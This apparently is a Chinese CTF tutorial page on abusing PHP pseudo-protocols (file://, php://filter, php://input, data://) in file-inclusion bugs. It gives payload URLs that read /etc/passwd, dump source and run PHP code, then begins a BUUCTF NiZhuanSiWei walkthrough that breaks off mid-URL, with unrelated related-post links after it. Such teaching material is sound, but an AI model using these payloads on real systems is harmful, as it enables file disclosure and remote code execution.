CTF中常用的php伪协议利用

        </h1><div class="clear"></div><div class="postBody">

file://#

作用:

用于访问文件(绝对路径、相对路径、网络路径)

示例:

http://www.xx.com?file=file:///etc/passswd

php://#

作用:

访问输入输出流

1. php://filter

作用:

读取源代码并进行base64编码输出

示例:

http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)

参数:

resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

2. php://input

作用:

执行POST数据中的php代码

示例:

http://127.0.0.1/cmd.php?cmd=php://input

POST数据:<?php phpinfo()?>

注意:

enctype="multipart/form-data" 的时候 php://input 是无效的

data://#

作用:

自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输

示例:

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

实例(https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei)#

打开网址,给了源码

Copy
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo "Not now!";exit(); }else{include($file);  //useless.php$password = unserialize($password);echo $password;}
}
else{highlight_file(__FILE__);
}
?>
  • 代码示意我们要get传参text,file,password
  • 通过初步观察,可基本确定text要求传入文件,且文件内容为:welcome to the zjctf、file传入一个文件名,通过include($file)包含进来、password未知

伪协议第一次利用:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

这里需要我们传入一个文件且其内容为welcome to the zjctf,才可以进入判断进行下一步
由于:在官方手册中file_get_contents()是用来将文件的内容读入到一个字符串中的首选方法,并且给出了几个运用实例。

Copy
echo file_get_contents('http://www.xxx.com/aa.png', 'r');
// 将会在该页面中输出图片

在例子中发现:file_get_contents()$filename参数不仅仅为本地文件路径,还可以是一个网络路径URL。于是便可以利用伪协议:

  • 姿势一:data://协议利用
Copy
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
// d2VsY29tZSB0byB0aGUgempjdGY= 解码后为 ----->  welcome to the zjctf

url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=data

20210218CTF伪协议绕过file_get_contents(bugkuctf的web21御结冰城感想)相关推荐

  1. 使用data伪协议绕过圆括号、反引号被过滤

    文章目录 data协议常用数据格式 不使用编码的方式绕过圆括号过滤 data协议常用数据格式 不使用编码的方式绕过圆括号过滤 环境是https://xss.haozi.me/#/0x04 ,其中代码过 ...

  2. php://filter伪协议(总结)

    文章目录 php://filter伪协议总结 php://filter伪协议介绍 php://filter伪协议使用方法 php://filter过滤器分类 filter字符串过滤器 string.r ...

  3. php 伪协议 lfi,php://伪协议(I/O)总能给你惊喜——Bugku CTF-welcome to bugkuctf

    今天一大早BugkuCTF 的welcome to bugkuctf 就给了我一发暴击:完全不会啊...光看源码就发现不知道怎么处理了,于是转向writeup求助.结果发现这是一道非常有营养的题目,赶 ...

  4. [羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过

    目录: 一. 自己做: 二.学到的.不足: 三. 1. 利用.htaccess来设置文件自动包含 2. 绕过 \n 的过滤 3. 绕过stristr的过滤. 4. 绕过preg_match 2.思路二 ...

  5. 【甄选靶场】Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)

    Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析) 靶场地址

  6. base64 转文件_PHP伪协议与文件包含

    PHP伪协议与文件包含 PHP伪协议与文件包含 php:// 协议 php://input php://filter data:// 协议 file:// 协议 zip://.bzip2://.zli ...

  7. LFI(本地文件包含)、RFI(远程文件包含)、PHP封装协议(伪协议)安全问题学习

    友情链接:https://www.cnblogs.com/LittleHann/p/3665062.html 目录 一.文件包含的基本概念 1.要想成功利用文件包含漏洞,需要满足下面的条件 (1)in ...

  8. 第十天文件包含漏洞 php伪协议

    文件包含漏洞 PHP中常见包含文件函数 常见文件包含漏洞代码 文件包含漏洞的危害 伪协议 php使用input读取post请求体的内容 Data:// 数据 Zlib:// 压缩流 文件包含的漏洞的分 ...

  9. php伪协议读取目录,PHP文件包含,文件读取的利用思路,以及配合伪协议的trick...

    PHP的文件包含函数有两类,分三种:1 2file_get_contents() include()/include_once() require/require_once() 第一种用于获取文件的数 ...

  10. PHP Filter伪协议Trick总结

    PHP Filter伪协议Trick总结 前言:最近在学习的过程中碰到了很多的filter协议的小trick,在此做一个总结以及对filter协议的一些探索. PHP Filter协议介绍 ​ php ...

最新文章

  1. php用户登录后跳转到主页,phpmyadmin登录后跳到首页的问题
  2. QML基础类型之int
  3. 马秀丽C语言程序设计答案pdf,C语言程序设计清华大学马秀丽刘志妩科后习题9答案.doc...
  4. linux win7 默认启动,请教:我的grub.cfg里面的内容如下,请教怎样改代码才能让WIN7设为默认启动...
  5. python几个版本的区别-Python的这几个版本不同
  6. P1019 单词接龙
  7. VMware虚拟机的下载与安装(附Win10简易安装教程)
  8. linux教程 课件ppt,Linux操作系统实用教程全集 教学课件 中文PPT版
  9. 5 个关键点!优化你的 UI 原型设计
  10. 谈谈Linux应用程序 ABI兼容性
  11. Webots水下机器人仿真
  12. 台式计算机屏幕亮度在哪调,电脑亮度怎么调?教您电脑亮度在哪里调
  13. 2022氯化工艺考试题库及答案
  14. PerfLib 2.0 计数器 removal 失败,退出代码为 2。命令行: C:\Windows\system32\unlodctr.exe /m:hkengperfctr.xml
  15. 如何快速实现邮箱注册(项目案例)
  16. WebSocket之仿QQWeb即时聊天系统(下)
  17. 华为稳定服务器在哪里找,哪个平台的服务器稳定
  18. redis + laravel5.5
  19. omniplan导出html,OmniPlan Pro 3.10.4 最NB的项目管理流程软件
  20. 【backtrader源代码解析17】sharpe.py源代码解析(backtrader计算夏普率的方式)

热门文章

  1. Image Super-Resolution via Iterative Refinement 论文解读和感想
  2. 银行等单位工作日计算的实现
  3. 通俗易懂的Latex教程文档
  4. 服务器 虚拟机 融合,爱数AnyVM与VMware的全面融合
  5. Apache+tomcat实现应用服务器集群
  6. 白帽SEO为什么更好?
  7. 人月神话(12)干将莫邪
  8. zabbix图形中文字显示方框或乱码问题
  9. 将Visual Leak Detector集成至Visual Studio 2019
  10. USB - DFU(dfuse\stm32)、fastboot、dfu-util